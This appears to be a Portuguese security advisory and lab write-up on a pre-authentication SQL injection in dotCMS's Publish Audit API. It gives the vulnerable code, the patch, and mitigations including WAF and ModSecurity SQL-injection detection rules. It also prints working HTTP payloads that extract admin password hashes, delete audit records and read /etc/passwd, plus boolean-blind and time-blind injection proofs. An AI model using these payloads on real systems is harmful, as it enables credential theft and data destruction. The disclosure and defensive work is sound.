
Injeção de SQL pré-autenticação no dotCMS
CVE-2026-8054 é uma vulnerabilidade de injeção SQL pré-autenticação de alto risco (Pre-auth SQL Injection) existente na API de Auditoria de Publicação (Publish Audit API) do dotCMS Core. Esta vulnerabilidade foi rastreada oficialmente como Incidente de Segurança SI-75 e foi divulgada formalmente no final de maio de 2026. Como um atacante pode acioná-la remotamente sem qualquer credencial, seu dano potencial é muito grave.
| Atributo | Valor |
|---|
| ID CVE | CVE-2026-8054 |
| Rastreamento Oficial | SI-75 |
| Tipo de Vulnerabilidade | Injeção SQL (CWE-89) |
| Componente Afetado | dotCMS Core - Publish Audit API |
| Pontuação CVSS | 10.0 (Critical) |
| Versões Afetadas | 25.11.04-1 a 26.04.28-02 |
| Versão Corrigida | 26.04.28-03 |
| Vetor de Ataque | Injeção SQL remota não autenticada (Pre-auth) |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Impacto em LTS | Não afetado (o ramo de código de auditoria não foi backportado para a árvore LTS) |
A vulnerabilidade reside nos endpoints REST /api/auditPublishing/get e /api/auditPublishing/getAll. Esses endpoints, ao receberem parâmetros de entrada do cliente, não realizam qualquer filtragem ou vinculação parametrizada, mas constroem dinamicamente consultas SQL por concatenação direta de strings.
Mais criticamente, o dotCMS omitiu completamente a verificação de autenticação e controle de acesso nesses endpoints de back-end sensíveis relacionados à auditoria. Isso significa que qualquer atacante remoto sem credenciais na rede externa, desde que consiga acessar o sistema pela rede, pode enviar requisições HTTP com payloads maliciosos diretamente para os endpoints.
Caminho do arquivo: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
A vulnerabilidade existe em dois endpoints REST:
GET /api/auditPublishing/get/{bundleId} - Obtém o status de auditoria de uma única publicaçãoPOST /api/auditPublishing/getAll - Obtém o status de auditoria de múltiplas publicaçõesProblema chave: Antes da correção, esses endpoints não exigiam qualquer autenticação; qualquer usuário anônimo podia acessá-los diretamente.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【Ponto de vulnerabilidade】Nenhuma verificação de autenticação! Chama diretamente a API de back-end
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
Caminho do arquivo: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
Método: getPublishAuditStatuses(List<String> bundleIds) (linhas 224-245)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【Ponto de vulnerabilidade 1】Concatena diretamente a entrada do usuário na consulta SQL
// Apenas adiciona aspas simples ao redor, sem qualquer parametrização ou escape
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // Perigoso: concatenação de strings
.collect(Collectors.toList());
// 【Ponto de vulnerabilidade 2】Usa String.format para construir SQL, a entrada do usuário é embutida diretamente
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
Constante SQL (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph 外部攻击者
A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
end
subgraph Application Layer
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|调用| D[PublishAuditAPI]
D -->|调用| E[PublishAuditAPIImpl]
E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
F -->|拼接参数| G[SQL构造<br/>String.format]
end
subgraph Technology Layer
G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|执行| I[SQL执行]
I -->|执行注入SQL| J[PostgreSQL/MySQL]
end
subgraph 漏洞点
K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333Propagação do dado contaminado: Entrada do usuário → REST API → Processamento back-end → Construção SQL → Execução no banco de dados Falha crítica: Sem autenticação + Sem parametrização = Injeção SQL completamente controlável
Suponha que o usuário insira bundleIds = ["x' OR '1'='1"]
SQL normal:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
SQL após injeção:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
Como '1'='1' é sempre verdadeiro, esta consulta retorna todos os registros da tabela.
graph TD
subgraph 输入对比
A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph 数据库执行
B -->|执行| E[数据库]
D -->|执行| E
end
subgraph 结果对比
E -->|返回| F[正常结果<br/>1条记录]
E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]Um atacante que explore com sucesso esta vulnerabilidade pode executar comandos SQL arbitrários no contexto do usuário do sistema de banco de dados, resultando nas seguintes consequências graves:
graph TD
subgraph 攻击影响分析
subgraph 数据机密性
A[管理员密码哈希]
B[用户凭证]
C[重置Token]
D[系统配置]
end
subgraph 数据完整性
E[网站内容]
F[用户角色权限]
G[审计日志]
end
subgraph 系统可用性
H[DROP TABLE]
I[DELETE数据]
J[UPDATE数据]
end
subgraph 权限提升
K[管理员接管]
L[文件系统读写]
M[远程代码执行]
end
end
N[SQL注入漏洞] -->|泄露| A
N -->|泄露| B
N -->|泄露| C
N -->|篡改| E
N -->|篡改| F
N -->|执行| H
N -->|实现| K
N -->|实现| L
O[CVSS 10.0 Critical] -.->|评估| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fffAtravés da injeção SQL, o atacante pode extrair tabelas principais do banco de dados, obtendo:
Exemplo de Payload de Ataque - Obter senha do administrador:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
O atacante pode modificar, inserir ou excluir arbitrariamente dados no banco de dados, incluindo:
Exemplo de Payload de Ataque - Excluir registros de auditoria:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
Dependendo do tipo de banco de dados conectado (PostgreSQL, MySQL, etc.) e das permissões de configuração, o atacante pode, através do ponto de injeção, realizar ainda:
Exemplo de Payload de Ataque - Leitura de arquivo PostgreSQL:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
| Dimensão | Avaliação |
|---|---|
| Vetor de Ataque | Rede Remota (Network) |
| Complexidade do Ataque | Baixa (Low) |
| Pré-condições | Nenhuma (None) |
| Interação do Usuário | Nenhuma (None) |
| Escopo de Impacto | Alterado (Changed) |
| Impacto na Confidencialidade | Alto (High) |
| Impacto na Integridade | Alto (High) |
| Impacto na Disponibilidade | Alto (High) |
graph TB
subgraph Docker环境架构
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>bridge网络]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|暴露| E
A -->|暴露| F
B -->|暴露| G
C -->|暴露| H
A -->|连接数据库| B
A -->|连接搜索引擎| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]Use Docker Compose para configurar o ambiente vulnerável:
docker-compose.yml:
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile:
FROM dotcms/dotcms:25.11.04-1
Comando para iniciar:
docker compose up -d
# Aguarde a inicialização do dotCMS (cerca de 2-3 minutos)
# Verifique o status: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
Resposta: 200 OK, retorna array vazio [], provando que o endpoint é acessível sem autenticação.
Princípio do Blind Boolean: Observar a diferença no código de status da resposta HTTP para inferir se a condição de injeção é verdadeira ou falsa.
graph TD
subgraph 布尔盲注流程
A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
B -->|真条件| C["真条件 and 1=1"]
B -->|假条件| D["假条件 and 1=2"]
C -->|返回数据| E["404 Not Found 有数据 NPE"]
D -->|不返回数据| F["200 OK + 空数组 无数据正常"]
E -->|分析| G["分析响应"]
F -->|分析| G
G -->|推断条件真假| H["结论推断"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]Teste de condição verdadeira (and 1=1):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
Resposta: 404 Not Found
Teste de condição falsa (and 1=2):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
Resposta: 200 OK, retorna []
Análise da execução SQL:
-- Condição verdadeira: bundle_id corresponde E 1=1 é verdadeiro -> retorna dados -> código trata NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- Condição falsa: bundle_id corresponde MAS 1=2 é falso -> não retorna dados -> resultado vazio tratado normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
Diferença na resposta:
| Condição | Resultado SQL | Comportamento do Código | Resposta HTTP |
|---|---|---|---|
and 1=1 (verdadeiro) | Retorna registros correspondentes | turnIntoPublishAuditStatus() lança NullPointerException ao processar dados | 404 |
and 1=2 (falso) | Não retorna registros | Lista vazia retornada normalmente | 200 + [] |
Conclusão: Através da diferença de resposta 404/200, o atacante pode inferir informações arbitrárias no banco de dados bit a bit (nomes de tabelas, valores de campos, hashes de senhas, etc.).
Princípio do Time Blind: Observar a diferença no tempo de resposta para inferir se a condição de injeção é verdadeira ou falsa.
graph TD
subgraph 时间盲注流程
A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
B -->|传递| C["延时Payload SELECT pg_sleep N"]
C -->|执行SQL| D["PostgreSQL"]
D -->|调用| E["pg_sleep N 延时执行"]
E -->|延时N秒| F["测量响应时间"]
F -->|对比基线| G["分析延时差异"]
G -->|推断条件真假| H["结论推断"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]Teste de atraso de 3 segundos:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

Resposta: 200 OK, tempo de resposta 3,02 segundos
Teste de atraso de 5 segundos:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
Resposta: 200 OK, tempo de resposta 5,01 segundos
Análise da execução SQL:
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
Comparação de tempo de resposta:
| Payload | Atraso esperado | Tempo real | Resultado |
|---|---|---|---|
| Requisição normal | 0s | 0,03s | ✅ |
| pg_sleep(3) | 3s | 3,02s | ✅ Atraso bem-sucedido |
| pg_sleep(5) | 5s | 5,01s | ✅ Atraso bem-sucedido |
Conclusão: Ao controlar o atraso na resposta, o atacante pode inferir informações do banco de dados bit a bit mesmo em cenários sem retorno visível.
graph TD
subgraph 修复方案
subgraph 代码修复
A[参数化查询<br/>使用占位符]
B[认证增强<br/>Push Publish Token]
C[输入验证<br/>null/空检查]
end
subgraph 修复效果
D[防止SQL注入]
E[限制未授权访问]
F[防止空指针异常]
end
G[PR #35553]
H[修复版本<br/>26.04.28-03]
end
G -->|实现| A
G -->|实现| B
G -->|实现| C
A -->|参数绑定| D
B -->|强制认证| E
C -->|空值处理| F
H -->|包含| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]Antes da correção (código vulnerável):
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
Após a correção (código seguro):
// Novo: Verificação de valor nulo
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// Usa placeholders de consulta parametrizada
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // Vinculação de parâmetros, previne injeção SQL
Antes da correção:
public Response getAll(List<String> bundleIds) {
// Sem verificação de autenticação
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
Após a correção:
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// Novo: Verificação de autenticação Push Publish Token
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // Retorna 401 Unauthorized
}
// ...
}
| Medida de Correção | Descrição |
|---|---|
| Consulta Parametrizada | Substitui a concatenação de strings por placeholders ?. O banco de dados lida automaticamente com o escape de parâmetros, prevenindo fundamentalmente a injeção SQL |
| Reforço de Autenticação | Exige que a requisição carregue um Push Publish Token válido. Restringe o acesso apenas a usuários logados no backend que possuam permissão no componente publishing-queue |
| Validação de Entrada | Adiciona verificação de nulo e lista vazia para prevenir exceções de ponteiro nulo |
Caso não seja possível atualizar imediatamente para a versão corrigida, as seguintes medidas temporárias podem ser adotadas:
graph TD
subgraph 防护措施
subgraph 网络层
A[Regra WAF bloquear<br/>Impedir /api/auditPublishing/]
B[Firewall restringir<br/>Permitir apenas acesso interno]
end
subgraph 应用层
C[Regra de proteção Nginx<br/>bloquear location]
D[Regra ModSecurity<br/>Detecção de injeção SQL]
end
subgraph 数据层
E[Restrição de permissão do banco<br/>Princípio do menor privilégio]
F[Limitar funções de alto risco<br/>pg_read_file etc.]
end
G[Atualizar para 26.04.28-03<br/>Solução fundamental]
end
A -.->|Substituto temporário| G
B -.->|Substituto temporário| G
C -.->|Substituto temporário| G
E -.->|Reduzir impacto| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[Prioridade: P0 - Atualizar imediatamente<br/>Outras medidas são soluções temporárias]Configure políticas de controle de acesso no Web Application Firewall (WAF) ou proxy reverso para bloquear ou rejeitar diretamente requisições externas aos caminhos /api/auditPublishing/get e /api/auditPublishing/getAll.
# /etc/nginx/conf.d/dotcms-security.conf
# Bloquear requisições para Publish Audit API
location ~ ^/api/auditPublishing/(get|getAll) {
# Retorna 403 proibido
return 403 "Forbidden: Endpoint blocked for security reasons";
add_header Content-Type text/plain;
}
# Ou use uma abordagem mais branda, permitindo apenas acesso interno
location ~ ^/api/auditPublishing/(get|getAll) {
# Permite faixas de IP internas
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# Nega todas as outras origens
deny all;
}
# Regra WAF para características de injeção SQL
location / {
# Detecta características comuns de injeção SQL
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# Detecta injeção por aspas simples
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# Regra 1: Bloquear acesso aos endpoints vulneráveis
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"
# Regra 2: Detectar características de injeção SQL
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"
Garanta que a conta que o dotCMS usa para conectar-se ao banco de dados siga o princípio do menor privilégio:
-- Exemplo de restrição de permissão PostgreSQL
-- Criar usuário restrito
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';
-- Conceder apenas permissões necessárias nas tabelas
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- Proibir criação/exclusão de tabelas
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- Proibir execução de comandos do sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- Proibir leitura de arquivos
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# Usar iptables para restringir acesso à porta da API
# Permitir apenas acesso interno à porta 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph 漏洞总结
subgraph 根因分析
A[缺乏输入验证<br/>用户输入直接拼接SQL]
B[缺乏认证<br/>API无需认证即可访问]
C[缺乏参数化<br/>字符串拼接而非参数查询]
end
subgraph CVSS评估
D[CVSS 10.0<br/>Critical]
E[网络远程]
F[低复杂度]
G[无需认证]
end
subgraph 修复建议
H[P0: 立即升级<br/>26.04.28-03]
I[P1: WAF拦截<br/>临时缓解]
J[P2: 数据库权限<br/>降低影响]
end
end
A -->|导致| D
B -->|导致| D
C -->|导致| D
H -->|解决| A
H -->|解决| B
H -->|解决| C
I -.->|临时替代| H
J -.->|降低风险| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]
| Prioridade | Medida | Descrição |
|---|---|---|
| P0 - Imediata | Atualizar para dotCMS 26.04.28-03 ou superior | Versão oficial corrigida, resolve o problema fundamentalmente |
| P1 - Urgente | Configurar regras WAF para bloquear | Mitigação temporária, impede tráfego de ataque |
| P2 - Importante | Restringir permissões do banco de dados | Reduz o escopo do impacto após a exploração da vulnerabilidade |
| P3 - Recomendado | Auditoria de segurança em outros endpoints | Verificar se existem problemas semelhantes |
A equipe oficial afirma que LTS (Long Term Support) não é afetado, pois o ramo de código de auditoria afetado nunca foi backportado para a árvore LTS. Usuários de versões LTS não precisam de atualização urgente.
Data de geração do relatório: 2026-06-08 Ferramentas de análise: Docker, curl, PostgreSQL Versão vulnerável: dotCMS 25.11.04-1 Versão corrigida: dotCMS 26.04.28-03 (PR #35553)